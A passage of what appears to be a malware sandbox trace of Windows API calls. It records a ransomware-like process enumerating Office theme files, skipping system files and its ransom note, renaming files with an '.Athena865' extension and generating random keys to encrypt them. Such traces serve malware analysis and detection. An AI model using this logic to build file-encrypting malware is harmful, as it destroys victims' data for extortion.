returned 0x552958 [0137.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.660] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.660] CloseHandle (hObject=0x17c) returned 1 [0137.660] CloseHandle (hObject=0x154) returned 1 [0137.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.660] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xf09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="HARDCO~1.XML")) returned 1 [0137.660] lstrcmpiW (lpString1="Hardcover.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.660] lstrcmpiW (lpString1="Hardcover.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.660] lstrcmpiW (lpString1="Hardcover.xml", lpString2=".") returned 1 [0137.660] lstrcmpiW (lpString1="Hardcover.xml", lpString2="..") returned 1 [0137.660] lstrcmpiW (lpString1="Hardcover.xml", lpString2="windows") returned -1 [0137.660] lstrcmpiW (lpString1="Hardcover.xml", lpString2="bootmgr") returned 1 [0137.660] lstrcmpiW (lpString1="Hardcover.xml", lpString2="temp") returned -1 [0137.660] lstrcmpiW (lpString1="Hardcover.xml", lpString2="pagefile.sys") returned -1 [0137.661] lstrcmpiW (lpString1="Hardcover.xml", lpString2="boot") returned 1 [0137.661] lstrcmpiW (lpString1="Hardcover.xml", lpString2="ids.txt") returned -1 [0137.661] lstrcmpiW (lpString1="Hardcover.xml", lpString2="ntuser.dat") returned -1 [0137.661] lstrcmpiW (lpString1="Hardcover.xml", lpString2="perflogs") returned -1 [0137.661] lstrcmpiW (lpString1="Hardcover.xml", lpString2="MSBuild") returned -1 [0137.661] lstrlenW (lpString="Hardcover.xml") returned 13 [0137.661] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Hardcover.xml" | out: lpString1="Hardcover.xml") returned="Hardcover.xml" [0137.661] lstrlenW (lpString="Hardcover.xml") returned 13 [0137.661] lstrlenW (lpString="Athena865") returned 9 [0137.661] lstrcmpiW (lpString1="cover.xml", lpString2="Athena865") returned 1 [0137.661] lstrlenW (lpString=".dll") returned 4 [0137.661] lstrcmpiW (lpString1="Hardcover.xml", lpString2=".dll") returned 1 [0137.661] lstrlenW (lpString=".lnk") returned 4 [0137.661] lstrcmpiW (lpString1="Hardcover.xml", lpString2=".lnk") returned 1 [0137.661] lstrlenW (lpString=".ini") returned 4 [0137.661] lstrcmpiW (lpString1="Hardcover.xml", lpString2=".ini") returned 1 [0137.661] lstrlenW (lpString=".sys") returned 4 [0137.661] lstrcmpiW (lpString1="Hardcover.xml", lpString2=".sys") returned 1 [0137.661] lstrlenW (lpString="Hardcover.xml") returned 13 [0137.661] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml.Athena865") returned 88 [0137.661] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml.athena865"), dwFlags=0x1) returned 1 [0137.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.663] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3849) returned 1 [0137.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.663] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.664] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.664] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.664] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1210, lpName=0x0) returned 0x17c [0137.666] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1210) returned 0x100000 [0137.667] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.667] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.667] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.668] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.668] CloseHandle (hObject=0x17c) returned 1 [0137.668] CloseHandle (hObject=0x154) returned 1 [0137.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.669] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0137.669] lstrcmpiW (lpString1="Horizon.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.669] lstrcmpiW (lpString1="Horizon.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.669] lstrcmpiW (lpString1="Horizon.xml", lpString2=".") returned 1 [0137.669] lstrcmpiW (lpString1="Horizon.xml", lpString2="..") returned 1 [0137.669] lstrcmpiW (lpString1="Horizon.xml", lpString2="windows") returned -1 [0137.669] lstrcmpiW (lpString1="Horizon.xml", lpString2="bootmgr") returned 1 [0137.669] lstrcmpiW (lpString1="Horizon.xml", lpString2="temp") returned -1 [0137.669] lstrcmpiW (lpString1="Horizon.xml", lpString2="pagefile.sys") returned -1 [0137.669] lstrcmpiW (lpString1="Horizon.xml", lpString2="boot") returned 1 [0137.669] lstrcmpiW (lpString1="Horizon.xml", lpString2="ids.txt") returned -1 [0137.669] lstrcmpiW (lpString1="Horizon.xml", lpString2="ntuser.dat") returned -1 [0137.669] lstrcmpiW (lpString1="Horizon.xml", lpString2="perflogs") returned -1 [0137.669] lstrcmpiW (lpString1="Horizon.xml", lpString2="MSBuild") returned -1 [0137.669] lstrlenW (lpString="Horizon.xml") returned 11 [0137.669] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Horizon.xml" | out: lpString1="Horizon.xml") returned="Horizon.xml" [0137.669] lstrlenW (lpString="Horizon.xml") returned 11 [0137.669] lstrlenW (lpString="Athena865") returned 9 [0137.670] lstrcmpiW (lpString1="rizon.xml", lpString2="Athena865") returned 1 [0137.670] lstrlenW (lpString=".dll") returned 4 [0137.670] lstrcmpiW (lpString1="Horizon.xml", lpString2=".dll") returned 1 [0137.670] lstrlenW (lpString=".lnk") returned 4 [0137.670] lstrcmpiW (lpString1="Horizon.xml", lpString2=".lnk") returned 1 [0137.670] lstrlenW (lpString=".ini") returned 4 [0137.670] lstrcmpiW (lpString1="Horizon.xml", lpString2=".ini") returned 1 [0137.670] lstrlenW (lpString=".sys") returned 4 [0137.670] lstrcmpiW (lpString1="Horizon.xml", lpString2=".sys") returned 1 [0137.670] lstrlenW (lpString="Horizon.xml") returned 11 [0137.670] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml.Athena865") returned 86 [0137.670] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml.athena865"), dwFlags=0x1) returned 1 [0137.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.671] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3626) returned 1 [0137.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.672] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.673] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.673] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.673] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1130, lpName=0x0) returned 0x17c [0137.674] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1130) returned 0x100000 [0137.675] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.676] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.676] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.677] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.677] CloseHandle (hObject=0x17c) returned 1 [0137.677] CloseHandle (hObject=0x154) returned 1 [0137.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.677] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf007120, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcf007120, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0137.677] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0137.677] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0137.677] lstrcmpiW (lpString1="Median.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.677] lstrcmpiW (lpString1="Median.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.677] lstrcmpiW (lpString1="Median.xml", lpString2=".") returned 1 [0137.677] lstrcmpiW (lpString1="Median.xml", lpString2="..") returned 1 [0137.677] lstrcmpiW (lpString1="Median.xml", lpString2="windows") returned -1 [0137.677] lstrcmpiW (lpString1="Median.xml", lpString2="bootmgr") returned 1 [0137.677] lstrcmpiW (lpString1="Median.xml", lpString2="temp") returned -1 [0137.678] lstrcmpiW (lpString1="Median.xml", lpString2="pagefile.sys") returned -1 [0137.678] lstrcmpiW (lpString1="Median.xml", lpString2="boot") returned 1 [0137.678] lstrcmpiW (lpString1="Median.xml", lpString2="ids.txt") returned 1 [0137.678] lstrcmpiW (lpString1="Median.xml", lpString2="ntuser.dat") returned -1 [0137.678] lstrcmpiW (lpString1="Median.xml", lpString2="perflogs") returned -1 [0137.678] lstrcmpiW (lpString1="Median.xml", lpString2="MSBuild") returned -1 [0137.678] lstrlenW (lpString="Median.xml") returned 10 [0137.678] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Median.xml" | out: lpString1="Median.xml") returned="Median.xml" [0137.678] lstrlenW (lpString="Median.xml") returned 10 [0137.678] lstrlenW (lpString="Athena865") returned 9 [0137.678] lstrcmpiW (lpString1="edian.xml", lpString2="Athena865") returned 1 [0137.678] lstrlenW (lpString=".dll") returned 4 [0137.678] lstrcmpiW (lpString1="Median.xml", lpString2=".dll") returned 1 [0137.678] lstrlenW (lpString=".lnk") returned 4 [0137.678] lstrcmpiW (lpString1="Median.xml", lpString2=".lnk") returned 1 [0137.678] lstrlenW (lpString=".ini") returned 4 [0137.678] lstrcmpiW (lpString1="Median.xml", lpString2=".ini") returned 1 [0137.678] lstrlenW (lpString=".sys") returned 4 [0137.678] lstrcmpiW (lpString1="Median.xml", lpString2=".sys") returned 1 [0137.678] lstrlenW (lpString="Median.xml") returned 10 [0137.678] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml.Athena865") returned 85 [0137.678] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml.athena865"), dwFlags=0x1) returned 1 [0137.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.680] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3821) returned 1 [0137.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.680] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.681] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.681] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.681] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11f0, lpName=0x0) returned 0x17c [0137.683] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11f0) returned 0x100000 [0137.684] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.684] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.684] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.685] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.685] CloseHandle (hObject=0x17c) returned 1 [0137.686] CloseHandle (hObject=0x154) returned 1 [0137.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.686] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0137.686] lstrcmpiW (lpString1="Metro.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.686] lstrcmpiW (lpString1="Metro.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.686] lstrcmpiW (lpString1="Metro.xml", lpString2=".") returned 1 [0137.686] lstrcmpiW (lpString1="Metro.xml", lpString2="..") returned 1 [0137.686] lstrcmpiW (lpString1="Metro.xml", lpString2="windows") returned -1 [0137.686] lstrcmpiW (lpString1="Metro.xml", lpString2="bootmgr") returned 1 [0137.686] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Metro.xml" | out: lpString1="Metro.xml") returned="Metro.xml" [0137.686] lstrlenW (lpString="Metro.xml") returned 9 [0137.686] lstrlenW (lpString="Athena865") returned 9 [0137.686] lstrlenW (lpString=".dll") returned 4 [0137.686] lstrcmpiW (lpString1="Metro.xml", lpString2=".dll") returned 1 [0137.686] lstrlenW (lpString=".lnk") returned 4 [0137.686] lstrcmpiW (lpString1="Metro.xml", lpString2=".lnk") returned 1 [0137.686] lstrlenW (lpString=".ini") returned 4 [0137.686] lstrcmpiW (lpString1="Metro.xml", lpString2=".ini") returned 1 [0137.686] lstrlenW (lpString=".sys") returned 4 [0137.687] lstrcmpiW (lpString1="Metro.xml", lpString2=".sys") returned 1 [0137.687] lstrlenW (lpString="Metro.xml") returned 9 [0137.687] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml.Athena865") returned 84 [0137.687] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml.athena865"), dwFlags=0x1) returned 1 [0137.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.688] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3603) returned 1 [0137.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.689] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.689] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.689] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.690] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x17c [0137.691] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000 [0137.692] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.693] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.693] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.693] RtlAllocateHeap 